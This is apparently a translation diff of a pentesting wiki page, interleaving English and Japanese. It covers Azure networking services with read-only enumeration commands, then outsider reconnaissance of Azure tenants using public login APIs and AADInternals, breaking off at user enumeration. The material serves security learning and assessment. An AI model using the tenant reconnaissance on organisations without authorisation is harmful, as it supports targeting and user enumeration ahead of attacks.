Azure **ルートテーブル** は、サブネット内のネットワークトラフィックのルーティングを制御するために使用されます。これらは、パケットがどのように転送されるべきかを指定するルールを定義します。転送先は、Azure リソース、インターネット、または仮想アプライアンスや Azure ファイアウォールのような特定の次ホップです。ルートテーブルを **サブネット** に関連付けることができ、そのサブネット内のすべてのリソースはテーブル内のルートに従います。
|
||||
|
||||
**Example:** If a subnet hosts resources that need to route outbound traffic through a Network Virtual Appliance (NVA) for inspection, you can create a **route** in a route table to redirect all traffic (e.g., `0.0.0.0/0`) to the NVA's private IP address as the next hop.
|
||||
**例:** サブネットが、検査のためにネットワーク仮想アプライアンス (NVA) を介して外向きトラフィックをルーティングする必要があるリソースをホストしている場合、ルートテーブルに **ルート** を作成して、すべてのトラフィック (例: `0.0.0.0/0`) を NVA のプライベート IP アドレスに次ホップとしてリダイレクトできます。
|
||||
|
||||
### **Enumeration**
|
||||
### **列挙**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Route Tables
|
||||
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
|
||||
@@ -170,10 +157,8 @@ az network route-table list --query "[].{name:name, resourceGroup:resourceGroup,
|
||||
# List routes for a table
|
||||
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Route Tables
|
||||
Get-AzRouteTable
|
||||
@@ -181,28 +166,26 @@ Get-AzRouteTable
|
||||
# List routes for a table
|
||||
(Get-AzRouteTable -Name <RouteTableName> -ResourceGroupName <ResourceGroupName>).Routes
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Private Link
|
||||
|
||||
Azure Private Link is a service in Azure that **enables private access to Azure services** by ensuring that **traffic between your Azure virtual network (VNet) and the service travels entirely within Microsoft's Azure backbone network**. It effectively brings the service into your VNet. This setup enhances security by not exposing the data to the public internet.
|
||||
Azure Private Linkは、**Azureサービスへのプライベートアクセスを可能にするサービス**であり、**Azure仮想ネットワーク(VNet)とサービス間のトラフィックが完全にMicrosoftのAzureバックボーンネットワーク内を移動することを保証します**。これにより、サービスがVNetに取り込まれます。この設定は、データをパブリックインターネットにさらさないことでセキュリティを強化します。
|
||||
|
||||
Private Link can be used with various Azure services, like Azure Storage, Azure SQL Database, and custom services shared via Private Link. It provides a secure way to consume services from within your own VNet or even from different Azure subscriptions.
|
||||
Private Linkは、Azure Storage、Azure SQL Database、Private Linkを介して共有されるカスタムサービスなど、さまざまなAzureサービスで使用できます。これは、自分のVNet内または異なるAzureサブスクリプションからサービスを消費するための安全な方法を提供します。
|
||||
|
||||
> [!CAUTION]
|
||||
> NSGs do not apply to private endpoints, which clearly means that associating an NSG with a subnet that contains the Private Link will have no effect.
|
||||
> NSGはプライベートエンドポイントには適用されないため、Private Linkを含むサブネットにNSGを関連付けても効果はありません。
|
||||
|
||||
**Example:**
|
||||
**例:**
|
||||
|
||||
Consider a scenario where you have an **Azure SQL Database that you want to access securely from your VNet**. Normally, this might involve traversing the public internet. With Private Link, you can create a **private endpoint in your VNet** that connects directly to the Azure SQL Database service. This endpoint makes the database appear as though it's part of your own VNet, accessible via a private IP address, thus ensuring secure and private access.
|
||||
あなたが**VNetから安全にアクセスしたいAzure SQL Databaseを持っているシナリオを考えてみてください**。通常、これはパブリックインターネットを経由することを含むかもしれません。Private Linkを使用すると、**VNet内にプライベートエンドポイントを作成**し、Azure SQL Databaseサービスに直接接続できます。このエンドポイントにより、データベースは自分のVNetの一部であるかのように見え、プライベートIPアドレスを介してアクセスできるため、安全でプライベートなアクセスが保証されます。
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Private Link Services
|
||||
az network private-link-service list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
|
||||
@@ -210,10 +193,8 @@ az network private-link-service list --query "[].{name:name, location:location,
|
||||
# List Private Endpoints
|
||||
az network private-endpoint list --query "[].{name:name, location:location, resourceGroup:resourceGroup, privateLinkServiceConnections:privateLinkServiceConnections}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Private Link Services
|
||||
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
|
||||
@@ -221,23 +202,21 @@ Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
|
||||
# List Private Endpoints
|
||||
Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, PrivateEndpointConnections
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Service Endpoints
|
||||
## Azure サービス エンドポイント
|
||||
|
||||
Azure Service Endpoints extend your virtual network private address space and the identity of your VNet to Azure services over a direct connection. By enabling service endpoints, **resources in your VNet can securely connect to Azure services**, like Azure Storage and Azure SQL Database, using Azure's backbone network. This ensures that the **traffic from the VNet to the Azure service stays within the Azure network**, providing a more secure and reliable path.
|
||||
Azure サービス エンドポイントは、仮想ネットワークのプライベート アドレス空間と VNet のアイデンティティを、直接接続を介して Azure サービスに拡張します。サービス エンドポイントを有効にすることで、**VNet 内のリソースが Azure のバックボーン ネットワークを使用して Azure サービス**(Azure Storage や Azure SQL Database など)に安全に接続できるようになります。これにより、**VNet から Azure サービスへのトラフィックが Azure ネットワーク内に留まる**ため、より安全で信頼性の高い経路が提供されます。
|
||||
|
||||
**Example:**
|
||||
**例:**
|
||||
|
||||
For instance, an **Azure Storage** account by default is accessible over the public internet. By enabling a **service endpoint for Azure Storage within your VNet**, you can ensure that only traffic from your VNet can access the storage account. The storage account firewall can then be configured to accept traffic only from your VNet.
|
||||
たとえば、**Azure Storage** アカウントはデフォルトでパブリック インターネット経由でアクセス可能です。**VNet 内で Azure Storage のサービス エンドポイントを有効にすることで**、VNet からのトラフィックのみがストレージ アカウントにアクセスできるようにすることができます。ストレージ アカウントのファイアウォールは、その後、VNet からのトラフィックのみを受け入れるように構成できます。
|
||||
|
||||
### **Enumeration**
|
||||
### **列挙**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Virtual Networks with Service Endpoints
|
||||
az network vnet list --query "[].{name:name, location:location, serviceEndpoints:serviceEndpoints}" -o table
|
||||
@@ -245,10 +224,8 @@ az network vnet list --query "[].{name:name, location:location, serviceEndpoints
|
||||
# List Subnets with Service Endpoints
|
||||
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, serviceEndpoints:serviceEndpoints}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Virtual Networks with Service Endpoints
|
||||
Get-AzVirtualNetwork
|
||||
@@ -256,49 +233,47 @@ Get-AzVirtualNetwork
|
||||
# List Subnets with Service Endpoints
|
||||
(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).Subnets
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Differences Between Service Endpoints and Private Links
|
||||
### サービスエンドポイントとプライベートリンクの違い
|
||||
|
||||
Microsoft recommends using Private Links in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
|
||||
Microsoftは、[**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints)でプライベートリンクの使用を推奨しています:
|
||||
|
||||
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Service Endpoints:**
|
||||
**サービスエンドポイント:**
|
||||
|
||||
- Traffic from your VNet to the Azure service travels over the Microsoft Azure backbone network, bypassing the public internet.
|
||||
- The endpoint is a direct connection to the Azure service and does not provide a private IP for the service within the VNet.
|
||||
- The service itself is still accessible via its public endpoint from outside your VNet unless you configure the service firewall to block such traffic.
|
||||
- It's a one-to-one relationship between the subnet and the Azure service.
|
||||
- Less expensive than Private Links.
|
||||
- VNetからAzureサービスへのトラフィックは、Microsoft Azureバックボーンネットワークを経由して、公共のインターネットをバイパスします。
|
||||
- エンドポイントはAzureサービスへの直接接続であり、VNet内のサービスにプライベートIPを提供しません。
|
||||
- サービス自体は、サービスファイアウォールを設定してそのトラフィックをブロックしない限り、VNetの外部からその公共エンドポイントを介してアクセス可能です。
|
||||
- サブネットとAzureサービスの間には一対一の関係があります。
|
||||
- プライベートリンクよりもコストが低いです。
|
||||
|
||||
**Private Links:**
|
||||
**プライベートリンク:**
|
||||
|
||||
- Private Link maps Azure services into your VNet via a private endpoint, which is a network interface with a private IP address within your VNet.
|
||||
- The Azure service is accessed using this private IP address, making it appear as if it's part of your network.
|
||||
- Services connected via Private Link can be accessed only from your VNet or connected networks; there's no public internet access to the service.
|
||||
- It enables a secure connection to Azure services or your own services hosted in Azure, as well as a connection to services shared by others.
|
||||
- It provides more granular access control via a private endpoint in your VNet, as opposed to broader access control at the subnet level with service endpoints.
|
||||
- プライベートリンクは、VNet内のプライベートIPアドレスを持つネットワークインターフェースであるプライベートエンドポイントを介してAzureサービスをVNetにマッピングします。
|
||||
- AzureサービスはこのプライベートIPアドレスを使用してアクセスされ、ネットワークの一部であるかのように見えます。
|
||||
- プライベートリンクを介して接続されたサービスは、VNetまたは接続されたネットワークからのみアクセス可能であり、サービスへの公共のインターネットアクセスはありません。
|
||||
- AzureサービスやAzureにホストされている自分のサービスへの安全な接続を可能にし、他者と共有されているサービスへの接続も提供します。
|
||||
- サービスエンドポイントでのサブネットレベルの広範なアクセス制御に対して、VNet内のプライベートエンドポイントを介してより詳細なアクセス制御を提供します。
|
||||
|
||||
In summary, while both Service Endpoints and Private Links provide secure connectivity to Azure services, **Private Links offer a higher level of isolation and security by ensuring that services are accessed privately without exposing them to the public internet**. Service Endpoints, on the other hand, are easier to set up for general cases where simple, secure access to Azure services is required without the need for a private IP in the VNet.
|
||||
要約すると、サービスエンドポイントとプライベートリンクの両方がAzureサービスへの安全な接続を提供しますが、**プライベートリンクはサービスが公共のインターネットにさらされることなくプライベートにアクセスされることを保証することにより、より高いレベルの隔離とセキュリティを提供します**。一方、サービスエンドポイントは、VNet内にプライベートIPを必要とせず、Azureサービスへのシンプルで安全なアクセスが必要な一般的なケースに対して設定が容易です。
|
||||
|
||||
## Azure Front Door (AFD) & AFD WAF
|
||||
|
||||
**Azure Front Door** is a scalable and secure entry point for **fast delivery** of your global web applications. It **combines** various services like global **load balancing, site acceleration, SSL offloading, and Web Application Firewall (WAF)** capabilities into a single service. Azure Front Door provides intelligent routing based on the **closest edge location to the user**, ensuring optimal performance and reliability. Additionally, it offers URL-based routing, multiple-site hosting, session affinity, and application layer security.
|
||||
**Azure Front Door**は、**グローバルなウェブアプリケーションの迅速な配信**のためのスケーラブルで安全なエントリーポイントです。これは、グローバルな**負荷分散、サイト加速、SSLオフロード、Webアプリケーションファイアウォール(WAF)**機能など、さまざまなサービスを単一のサービスに**統合**しています。Azure Front Doorは、**ユーザーに最も近いエッジロケーション**に基づいてインテリジェントなルーティングを提供し、最適なパフォーマンスと信頼性を確保します。さらに、URLベースのルーティング、複数サイトホスティング、セッションアフィニティ、アプリケーション層のセキュリティを提供します。
|
||||
|
||||
**Azure Front Door WAF** is designed to **protect web applications from web-based attacks** without modification to back-end code. It includes custom rules and managed rule sets to protect against threats such as SQL injection, cross-site scripting, and other common attacks.
|
||||
**Azure Front Door WAF**は、バックエンドコードを変更することなく、**ウェブベースの攻撃からウェブアプリケーションを保護する**ように設計されています。SQLインジェクション、クロスサイトスクリプティング、その他の一般的な攻撃に対する脅威から保護するためのカスタムルールと管理されたルールセットを含んでいます。
|
||||
|
||||
**Example:**
|
||||
**例:**
|
||||
|
||||
Imagine you have a globally distributed application with users all around the world. You can use Azure Front Door to **route user requests to the nearest regional data center** hosting your application, thus reducing latency, improving user experience and **defending it from web attacks with the WAF capabilities**. If a particular region experiences downtime, Azure Front Door can automatically reroute traffic to the next best location, ensuring high availability.
|
||||
世界中にユーザーがいるグローバルに分散したアプリケーションがあると想像してください。Azure Front Doorを使用して、**ユーザーのリクエストをアプリケーションをホストしている最寄りの地域データセンターにルーティング**することで、レイテンシを減少させ、ユーザーエクスペリエンスを向上させ、**WAF機能でウェブ攻撃から防御します**。特定の地域でダウンタイムが発生した場合、Azure Front Doorは自動的に次の最適な場所にトラフィックを再ルーティングし、高可用性を確保します。
|
||||
|
||||
### Enumeration
|
||||
### 列挙
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Azure Front Door Instances
|
||||
az network front-door list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
|
||||
@@ -306,10 +281,8 @@ az network front-door list --query "[].{name:name, resourceGroup:resourceGroup,
|
||||
# List Front Door WAF Policies
|
||||
az network front-door waf-policy list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Azure Front Door Instances
|
||||
Get-AzFrontDoor
|
||||
@@ -317,58 +290,52 @@ Get-AzFrontDoor
|
||||
# List Front Door WAF Policies
|
||||
Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Application Gateway and Azure Application Gateway WAF
|
||||
## Azure Application Gateway と Azure Application Gateway WAF
|
||||
|
||||
Azure Application Gateway is a **web traffic load balancer** that enables you to manage traffic to your **web** applications. It offers **Layer 7 load balancing, SSL termination, and web application firewall (WAF) capabilities** in the Application Delivery Controller (ADC) as a service. Key features include URL-based routing, cookie-based session affinity, and secure sockets layer (SSL) offloading, which are crucial for applications that require complex load-balancing capabilities like global routing and path-based routing.
|
||||
Azure Application Gateway は、**ウェブトラフィックのロードバランサー**であり、**ウェブ**アプリケーションへのトラフィックを管理することを可能にします。これは、アプリケーションデリバリーコントローラー (ADC) としてのサービスで、**レイヤー7のロードバランシング、SSLターミネーション、ウェブアプリケーションファイアウォール (WAF) 機能**を提供します。主な機能には、URLベースのルーティング、クッキーに基づくセッションアフィニティ、およびセキュアソケットレイヤー (SSL) オフロードが含まれ、グローバルルーティングやパスベースのルーティングのような複雑なロードバランシング機能を必要とするアプリケーションにとって重要です。
|
||||
|
||||
**Example:**
|
||||
**例:**
|
||||
|
||||
Consider a scenario where you have an e-commerce website that includes multiple subdomains for different functions, such as user accounts and payment processing. Azure Application Gateway can **route traffic to the appropriate web servers based on the URL path**. For example, traffic to `example.com/accounts` could be directed to the user accounts service, and traffic to `example.com/pay` could be directed to the payment processing service.\
|
||||
And **protect your website from attacks using the WAF capabilities.**
|
||||
ユーザーアカウントや支払い処理など、異なる機能のための複数のサブドメインを含むeコマースウェブサイトがあるシナリオを考えてみてください。Azure Application Gateway は、**URLパスに基づいて適切なウェブサーバーにトラフィックをルーティング**できます。たとえば、`example.com/accounts` へのトラフィックはユーザーアカウントサービスに、`example.com/pay` へのトラフィックは支払い処理サービスに向けられる可能性があります。\
|
||||
そして、**WAF機能を使用してウェブサイトを攻撃から保護します。**
|
||||
|
||||
### **Enumeration**
|
||||
### **列挙**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List the Web Application Firewall configurations for your Application Gateways
|
||||
az network application-gateway waf-config list --gateway-name <AppGatewayName> --resource-group <ResourceGroupName> --query "[].{name:name, firewallMode:firewallMode, ruleSetType:ruleSetType, ruleSetVersion:ruleSetVersion}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List the Web Application Firewall configurations for your Application Gateways
|
||||
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Hub, Spoke & VNet Peering
|
||||
|
||||
**VNet Peering** is a networking feature in Azure that **allows different Virtual Networks (VNets) to be connected directly and seamlessly**. Through VNet peering, resources in one VNet can communicate with resources in another VNet using private IP addresses, **as if they were in the same network**.\
|
||||
**VNet Peering can also used with a on-prem networks** by setting up a site-to-site VPN or Azure ExpressRoute.
|
||||
**VNet Peering**は、Azureのネットワーキング機能であり、**異なる仮想ネットワーク(VNet)を直接かつシームレスに接続することを可能にします**。VNetピアリングを通じて、1つのVNet内のリソースは、**まるで同じネットワークにいるかのように、別のVNet内のリソースとプライベートIPアドレスを使用して通信できます**。\
|
||||
**VNetピアリングは、オンプレミスネットワークとも使用できます**。サイト間VPNまたはAzure ExpressRouteを設定することで実現します。
|
||||
|
||||
**Azure Hub and Spoke** is a network topology used in Azure to manage and organize network traffic. **The "hub" is a central point that controls and routes traffic between different "spokes"**. The hub typically contains shared services such as network virtual appliances (NVAs), Azure VPN Gateway, Azure Firewall, or Azure Bastion. The **"spokes" are VNets that host workloads and connect to the hub using VNet peering**, allowing them to leverage the shared services within the hub. This model promotes clean network layout, reducing complexity by centralizing common services that multiple workloads across different VNets can use.
|
||||
**Azure Hub and Spoke**は、Azureでネットワークトラフィックを管理および整理するために使用されるネットワークトポロジーです。**「ハブ」は、異なる「スポーク」間のトラフィックを制御しルーティングする中央ポイントです**。ハブには通常、ネットワーク仮想アプライアンス(NVA)、Azure VPN Gateway、Azure Firewall、またはAzure Bastionなどの共有サービスが含まれています。**「スポーク」は、ワークロードをホストし、VNetピアリングを使用してハブに接続するVNetです**。これにより、ハブ内の共有サービスを活用できます。このモデルは、クリーンなネットワークレイアウトを促進し、異なるVNet間で複数のワークロードが使用できる共通サービスを集中化することで複雑さを軽減します。
|
||||
|
||||
> [!CAUTION] > **VNET pairing is non-transitive in Azure**, which means that if spoke 1 is connected to spoke 2 and spoke 2 is connected to spoke 3 then spoke 1 cannot talk directly to spoke 3.
|
||||
> [!CAUTION] > **AzureではVNETピアリングは非推移的です**。つまり、スポーク1がスポーク2に接続され、スポーク2がスポーク3に接続されている場合、スポーク1はスポーク3と直接通信できません。
|
||||
|
||||
**Example:**
|
||||
**例:**
|
||||
|
||||
Imagine a company with separate departments like Sales, HR, and Development, **each with its own VNet (the spokes)**. These VNets **require access to shared resources** like a central database, a firewall, and an internet gateway, which are all located in **another VNet (the hub)**. By using the Hub and Spoke model, each department can **securely connect to the shared resources through the hub VNet without exposing those resources to the public internet** or creating a complex network structure with numerous connections.
|
||||
営業、HR、開発などの別々の部門を持つ会社を想像してください。**それぞれが独自のVNet(スポーク)を持っています**。これらのVNetは、**中央データベース、ファイアウォール、インターネットゲートウェイなどの共有リソースへのアクセスを必要とします**。これらはすべて**別のVNet(ハブ)**にあります。Hub and Spokeモデルを使用することで、各部門は**ハブVNetを通じて共有リソースに安全に接続でき、これらのリソースをパブリックインターネットに公開することなく、複雑なネットワーク構造を作成することなく接続できます**。
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List all VNets in your subscription
|
||||
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}" -o table
|
||||
@@ -379,10 +346,8 @@ az network vnet peering list --resource-group <ResourceGroupName> --vnet-name <V
|
||||
# List Shared Resources (e.g., Azure Firewall) in the Hub
|
||||
az network firewall list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List all VNets in your subscription
|
||||
Get-AzVirtualNetwork
|
||||
@@ -393,23 +358,21 @@ Get-AzVirtualNetwork
|
||||
# List Shared Resources (e.g., Azure Firewall) in the Hub
|
||||
Get-AzFirewall
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Site-to-Site VPN
|
||||
## サイト間VPN
|
||||
|
||||
A Site-to-Site VPN in Azure allows you to **connect your on-premises network to your Azure Virtual Network (VNet)**, enabling resources such as VMs within Azure to appear as if they are on your local network. This connection is established through a **VPN gateway that encrypts traffic** between the two networks.
|
||||
Azureのサイト間VPNは、**オンプレミスネットワークをAzure仮想ネットワーク(VNet)に接続することを可能にし**、Azure内のVMなどのリソースがローカルネットワーク上にあるかのように見えるようにします。この接続は、**2つのネットワーク間のトラフィックを暗号化するVPNゲートウェイを介して確立されます**。
|
||||
|
||||
**Example:**
|
||||
**例:**
|
||||
|
||||
A business with its main office located in New York has an on-premises data center that needs to connect securely to its VNet in Azure, which hosts its virtualized workloads. By setting up a **Site-to-Site VPN, the company can ensure encrypted connectivity between the on-premises servers and the Azure VMs**, allowing for resources to be accessed securely across both environments as if they were in the same local network.
|
||||
ニューヨークに本社を置く企業は、Azure内のVNetに安全に接続する必要があるオンプレミスデータセンターを持っています。ここでは仮想化されたワークロードがホストされています。**サイト間VPNを設定することで、企業はオンプレミスサーバーとAzure VM間の暗号化された接続を確保でき、両方の環境でリソースに安全にアクセスできるようになります**。まるで同じローカルネットワークにいるかのように。
|
||||
|
||||
### **Enumeration**
|
||||
### **列挙**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List VPN Gateways
|
||||
az network vnet-gateway list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
|
||||
@@ -417,10 +380,8 @@ az network vnet-gateway list --query "[].{name:name, location:location, resource
|
||||
# List VPN Connections
|
||||
az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group <ResourceGroupName> --query "[].{name:name, connectionType:connectionType, connectionStatus:connectionStatus}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List VPN Gateways
|
||||
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
|
||||
@@ -428,41 +389,32 @@ Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
|
||||
# List VPN Connections
|
||||
Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure ExpressRoute
|
||||
|
||||
Azure ExpressRoute is a service that provides a **private, dedicated, high-speed connection between your on-premises infrastructure and Azure data centers**. This connection is made through a connectivity provider, bypassing the public internet and offering more reliability, faster speeds, lower latencies, and higher security than typical internet connections.
|
||||
Azure ExpressRouteは、**オンプレミスのインフラストラクチャとAzureデータセンター間のプライベートで専用の高速接続を提供するサービス**です。この接続は接続プロバイダーを通じて行われ、公共インターネットをバイパスし、通常のインターネット接続よりも信頼性が高く、速度が速く、レイテンシが低く、セキュリティが高いです。
|
||||
|
||||
**Example:**
|
||||
**例:**
|
||||
|
||||
A multinational corporation requires a **consistent and reliable connection to its Azure services due to the high volume of data** and the need for high throughput. The company opts for Azure ExpressRoute to directly connect its on-premises data center to Azure, facilitating large-scale data transfers, such as daily backups and real-time data analytics, with enhanced privacy and speed.
|
||||
多国籍企業は、**大量のデータと高スループットの必要性から、Azureサービスへの一貫した信頼性のある接続を必要としています**。この会社は、オンプレミスのデータセンターをAzureに直接接続するためにAzure ExpressRouteを選択し、プライバシーと速度を向上させながら、日次バックアップやリアルタイムデータ分析などの大規模なデータ転送を容易にします。
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List ExpressRoute Circuits
|
||||
az network express-route list --query "[].{name:name, location:location, resourceGroup:resourceGroup, serviceProviderName:serviceProviderName, peeringLocation:peeringLocation}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List ExpressRoute Circuits
|
||||
Get-AzExpressRouteCircuit
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,28 +2,25 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Tenant
|
||||
## Azure テナント
|
||||
|
||||
### Tenant Enumeration
|
||||
### テナント列挙
|
||||
|
||||
There are some **public Azure APIs** that just knowing the **domain of the tenant** an attacker could query to gather more info about it.\
|
||||
You can query directly the API or use the PowerShell library [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
|
||||
攻撃者がテナントの**ドメイン**を知っているだけで、より多くの情報を収集するためにクエリできる**公開Azure API**がいくつかあります。\
|
||||
APIを直接クエリするか、PowerShellライブラリ[**AADInternals**](https://github.com/Gerenios/AADInternals)**を使用できます**:
|
||||
|
||||
| API | Information | AADInternals function |
|
||||
| API | 情報 | AADInternals 関数 |
|
||||
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Login information**, including tenant ID | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **All domains** of the tenant | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Login information</strong> of the tenant, including tenant Name and domain <strong>authentication type.</strong><br>If <code>NameSpaceType</code> is <strong><code>Managed</code></strong>, it means <strong>AzureAD</strong> is used.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Login information, including **Desktop SSO information** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
|
||||
You can query all the information of an Azure tenant with **just one command of the** [**AADInternals**](https://github.com/Gerenios/AADInternals) **library**:
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **ログイン情報**、テナントIDを含む | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | テナントの**すべてのドメイン** | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>テナントのログイン情報</strong>、テナント名とドメイン<strong>認証タイプ</strong>を含む。<br><code>NameSpaceType</code>が<strong><code>Managed</code></strong>の場合、<strong>AzureAD</strong>が使用されていることを意味します。</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | **デスクトップSSO情報**を含むログイン情報 | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
|
||||
**ただ1つのコマンドで**、Azureテナントのすべての情報をクエリできます[**AADInternals**](https://github.com/Gerenios/AADInternals) **ライブラリ**:
|
||||
```powershell
|
||||
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
|
||||
```
|
||||
|
||||
Output Example of the Azure tenant info:
|
||||
|
||||
Azureテナント情報の出力例:
|
||||
```
|
||||
Tenant brand: Company Ltd
|
||||
Tenant name: company
|
||||
@@ -37,38 +34,30 @@ company.mail.onmicrosoft.com True True True Managed
|
||||
company.onmicrosoft.com True True True Managed
|
||||
int.company.com False False False Managed
|
||||
```
|
||||
テナントの名前、ID、および「ブランド」名に関する詳細を観察することが可能です。さらに、デスクトップシングルサインオン(SSO)のステータス、別名[**シームレスSSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)も表示されます。この機能が有効になっている場合、ターゲット組織内の特定のユーザーの存在(列挙)を判断するのが容易になります。
|
||||
|
||||
It's possible to observe details about the tenant's name, ID, and "brand" name. Additionally, the status of the Desktop Single Sign-On (SSO), also known as [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), is displayed. When enabled, this feature facilitates the determination of the presence (enumeration) of a specific user within the target organization.
|
||||
さらに、出力にはターゲットテナントに関連付けられたすべての検証済みドメインの名前と、それぞれのアイデンティティタイプが表示されます。フェデレーテッドドメインの場合、使用中のアイデンティティプロバイダーの完全修飾ドメイン名(FQDN)、通常はADFSサーバーも開示されます。「MX」列は、メールがExchange Onlineにルーティングされるかどうかを指定し、「SPF」列はExchange Onlineがメール送信者としてリストされていることを示します。現在の偵察機能はSPFレコード内の「include」ステートメントを解析しないため、偽陰性が発生する可能性があることに注意が必要です。
|
||||
|
||||
Moreover, the output presents the names of all verified domains associated with the target tenant, along with their respective identity types. In the case of federated domains, the Fully Qualified Domain Name (FQDN) of the identity provider in use, typically an ADFS server, is also disclosed. The "MX" column specifies whether emails are routed to Exchange Online, while the "SPF" column denotes the listing of Exchange Online as an email sender. It is important to note that the current reconnaissance function does not parse the "include" statements within SPF records, which may result in false negatives.
|
||||
|
||||
### User Enumeration
|
||||
|
||||
It's possible to **check if a username exists** inside a tenant. This includes also **guest users**, whose username is in the format:
|
||||
### ユーザー列挙
|
||||
|
||||
